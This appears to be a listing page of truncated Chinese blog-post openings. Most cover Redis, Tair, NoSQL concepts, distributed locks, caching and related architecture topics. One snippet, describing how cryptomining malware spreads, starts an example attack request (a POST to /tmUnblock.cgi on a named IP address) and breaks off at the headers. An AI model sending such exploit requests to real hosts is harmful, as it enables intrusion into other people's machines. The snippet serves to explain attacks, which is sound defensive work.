1. Tair总述 1.1 系统架构 一个Tair集群主要包括3个必选模块:configserver.dataserver和client,一个可选模块:invalidserver.通常情况下,一个集群中包含2台configserver及多台dataServer.两台configserver互为主备并通过维护和dataserver之间的心跳获知集群中存活可用的dataserver,构建数据在集群中的分布信息(对照表).dataserver负责数据的存储,并按照configserver的指示完成数据

FW : http://xulingbo.net/?p=434 版权归许令波所有.此处只是一个转载. 后面介绍的不同方式都有测试数据,这些测试数据都是在同一的测试环境下得出的测试结果: 测试机器的配置如下: 64位5核CPU, E5620 @ 2.40GHz,内存8G CDN端缓存 由 于计数器的价值并不在,具体的值是多少,尤其是对一些大访问量的商品来说个位或者十位的数据并没有什么意义,所以对这些热门商品的计数器访问可以采用定时 更新的办法,可以将计数器的值直接缓存在CDN上或者后端Nginx的

现在Redis越来越火,为了适应技术的发展,开始学习一下Redis,在学习Redis之前先学习一下Nosql. 第一部分:入门概述 1.1 互联网时代背景下大机遇,为什么用nosql 1.1.1 单机Mysql的美好年代(好几年前) 当时的业务很相对简单,就是JSP--->Action---->Service---->DAO----->数据库,数据库也就是一个实例而已,无论是Mysql还是Oracle.把这五层缩减为三层的话便是:应用层------>DAO层------>

从分布式锁来看redis和zookpeer! 目前网上大部分的基于zookpeer,和redis的分布式锁的文章都不够全面.要么就是特意避开集群的情况,要么就是考虑不全,读者看着还是一脸迷茫.坦白说,这种老题材,很难写出新创意,博主内心战战兢兢,如履薄冰,文中有什么不严谨之处,欢迎批评. 博主的这篇文章,不上代码,只讲分析. (1)在redis方面,有开源redisson的jar包供你使用. (2)在zookpeer方面,有开源的curator的jar包供你使用 因为已经有开源jar包供你使用,

NoSQL入门和概述目录导航: NoSQL入门概述 3V+3高 当下的NoSQL经典应用 NoSQL数据模型简介 NoSQL数据库的四大分类 在分布式数据库中CAP原理CAP+BASE NoSQL 入门概述 互联网时代背景下的大机遇,为什么用NoSQL 单机MySQL的美好年代 在90年代,一个网站的访问量一般都不大,用单个数据库完全可以轻松应付.在那个时候,更多的都是静态网页,动态交互类型的网站不多. 上述架构下,我们来看看数据存储的瓶颈是什么? 数据量的总大小,一个机器放不下时 数据的索引(

Redis NoSql入门和概述 入门概述 互联网时代背景下大机遇,为什么用nosql 1.单机MySQL的美好年代 在90年代,一个网站的访问量一般都不大,用单个数据库完全可以轻松应付,在那个时候,更多的都是静态网页,动态交互类型的网站不多 上述架构下,我们来看看数据存储的瓶颈是什么? 数据量的总大小 一个机器放不下时 数据的索引(B+ Tree)一个机器的内存放不下时 访问量(读写混合)一个实例不能承受 2.Memcached(缓存)+MySQL+垂直拆分 后来,随着访问量的上升,几乎大部分

前言 平时的工作中,由于生产环境中的项目是需要部署在多台服务器中的,所以经常会面临解决分布式场景下数据一致性的问题,那么就需要引入分布式锁来解决这一问题. 针对分布式锁的实现,目前比较常用的就如下几种方案: 基于数据库实现分布式锁 基于 Redis 实现分布式锁 [本文] 基于 Zookeeper 实现分布式锁 接下来这个系列文章会跟大家一块探讨这三种方案,本篇为 Redis 实现分布式锁篇. Redis分布式环境搭建推荐:基于Docker的Redis集群搭建 Redis分布式锁一览 说到 Re

Redis所有的数据都存在内存中,当前内存虽然越来越便宜,但跟廉价的硬盘相比成本还是比较昂贵,因此如何高效利用Redis内存变得非常重要.高效利用Redis内存首先需要理解Redis内存消耗在哪里,如何管理内存,最后才能考虑如何优化内存. 1.内存消耗 首先需要掌握Redis内存消耗在哪些方面.有些内存消耗是必不可少的,而有些可以通过参数调整和合理使用来规避内存浪费.内存消耗可以分为进程自身消耗和子进程消耗. 1.1 内存使用统计 首先需要了解 Redis 自身使用内存的统计数据,可通过执行 i

在如今的业务场景下,高可用性要求越来越高,核心业务跨可用区已然成为标配.腾讯云数据库高级工程师刘家文结合腾讯云数据库的内核实战经验,给大家分享Redis是如何实现多可用区,内容包含Redis主从版.集群版原生架构,腾讯云Redis集群模式主从版.多AZ架构实现以及多AZ关键技术点,具体可分为以下四个部分: 第一部分:介绍Redis的原生架构,包含主从版及集群版: 第二部分:介绍腾讯云Redis架构,为了解决主从架构存在的问题,腾讯云使用了集群模式的主从版.其次为了更好的适应云上的Redis架构,

摘要:看GaussDB for Redis强扩展.高可用.强一致.高安全,如何玩转各大游戏场景 本文分享自华为云社区<GaussDB为什么成为游戏行业的心头爱?>,作者: GaussDB 数据库 . 在结束忙碌工作回家的地铁上,难得闲暇的周末下午,和朋友再来一局的入睡前......游戏已经成为了当下大多数年轻人在紧张的工作之余最普遍的放松方式和社交手段之一.而游戏厂商想要增加用户粘性,不仅需要在游戏类别.情节故事.关卡设计上洞察用户喜好,让游戏足够新颖,更要在流畅程度上带给用户更极致的体验.游

1.ID分配单点问题 系统使用一张表的自增来得到订单号,所有的订单生成必须先在这里insert一条数据,得到订单号.分库后,库的数量变多,相应的故障次数变多,但由于单点的存在,故障影响范围并未相应的减少,使得全年downtime上升,可用性下降. 针对ID分配单点问题,考虑到数据库表分配性能的不足,调研了Tair.Redis.Snowflake等ID分配器,同时也考虑过将ID区间分段,多点分配. 但最后没有使用这些方案,主要原因是ID分配对系统而言是强依赖服务,在分布式系统中,增加这样一个服务,

<?php /* * session_abort — Discard session array changes and finish session 舍弃会话序列变化和结束会话 session_cache_expire — 返回当前缓存的到期时间 session_cache_limiter — 读取/设置缓存限制器 session_commit — session_write_close 的别名 session_decode — 解码会话数据 session_destroy — 销毁一个会话中

一 挖矿病毒简介  攻击者利用相关安全隐患向目标机器种植病毒的行为. 二 攻击方式 攻击者通常利用弱口令.未授权.代码执行.命令执行等漏洞进行传播.示例如下: 示例1:   POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Len

一.为什么要使用Nosql 今天我们可以通过第三方平台(如:google,facebook)可以很容易的访问和抓取数据.用户的个人信息,社交网络,地理位置,用户生成的数据和用户操作日志已经成倍的增加.我们如果要对这些用户数据进行挖掘,那么Sql数据库已经不适合这些应用了,NoSql数据库的发展却能很好的处理这些大的数据. 二.什么是NoSql NoSql(NoSql = Not Only SQL),不仅仅是sql 泛指非关系型数据库.随着互联网web2.0网站的兴起,传统的关系数据库在应付web

上一篇演示了基于Redis的Redisson分布式锁实现,那今天我要再来说说基于Zookeeper的分布式现实. Zookeeper分布式锁实现 要用Zookeeper实现分布式锁,我就不得不说说zookeeper的数据存储.首先zookeeper的核心保存结构是一个DataTree数据结构,其实内部是一个Map<String, DataNode> nodes的数据结构,其中key是path,DataNode才是真正保存数据的核心数据结构,DataNode核心字段包括byte data[]用于

之前一直在用Spring Cache进行接口数据的缓存,主要是Spring Cache在对具体key缓存失效时间的设置不是很方法,还要自己去扩展,无意中发现了阿里的JetCache.大部分的需求都能满足,并且有一些很实用的功能,今天给大家介绍下. JetCache是一个基于Java的缓存系统封装,提供统一的API和注解来简化缓存的使用. JetCache提供了比SpringCache更加强大的注解,可以原生的支持TTL.两级缓存.分布式自动刷新,还提供了Cache接口用于手工缓存操作. 当前有四

NoSql入门和概述 入门概述 为什么要使用NoSql? 1.单机mysql的美好年代 在早些年以前,那时候网站的访问量不大,用单个数据库完全可以应付.而且那个时候,绝大部分都是LAMP架构:Linux + Apache + Mysql + Php.而且当时很多都是静态网页,动态交互类型的网站不多,而且数据量也无法跟现在相比. 但是放在现在这个数据量爆炸式增长的时代,上面的架构就出现了瓶颈.比如:数据量大到一台机器放不下了怎么办?数据的索引(B + Tree)一个机器的内存放不下时怎么办?访问量

入门概述: 1.为什么要用到NoSQL a)  单机MySQL的美好年代,在90年代,一个网站的访问量一般都不大,用单个数据库完全可以轻松应付.在那个时候,更多的都是静态网页,动态交互类型的网站不多. 上述架构下,我们来看看数据存储的瓶颈是什么? 1.数据量的总大小 一个机器放不下时 2.数据的索引(B+ Tree)一个机器的内存放不下时 3.访问量(读写混合)一个实例不能承受  如果满足了上述1 or 3个,进化...... b)  Memcached(缓存)+MySQL+垂直拆分,后来,随着

前言 ​ 现如今很多系统都会基于分布式或微服务思想完成对系统的架构设计.那么在这一个系统中,就会存在若干个微服务,而且服务间也会产生相互通信调用.那么既然产生了服务调用,就必然会存在服务调用延迟或失败的问题.当出现这种问题,服务端会进行重试等操作或客户端有可能会进行多次点击提交.如果这样请求多次的话,那最终处理的数据结果就一定要保证统一,如支付场景.此时就需要通过保证业务幂等性方案来完成. 什么是幂等 ​ 幂等本身是一个数学概念.即 f(n) = 1^n ,无论n为多少,f(n)的值永远为1.在

一.前言 随着 Serverless 在业界各云平台落地,阿里内部 Serverless 研发平台.各种研发模式也在业务中逐步落地,如火如荼.在此契机下,淘系团队启动了轻店 Serverless 研发模式升级战役,基于阿里集团底层设施建设.上层技术体系,解决在淘系轻店业务场景下碰到的系列问题,并借此推动现有前后端协作模式转变. 二.背景 轻店业务是淘系新型业务,目前处于探索试错阶段,如何能以较低人力成本配合业务快速试错,是团队当前需要考虑的问题.Serverless 重要的特点之一"only f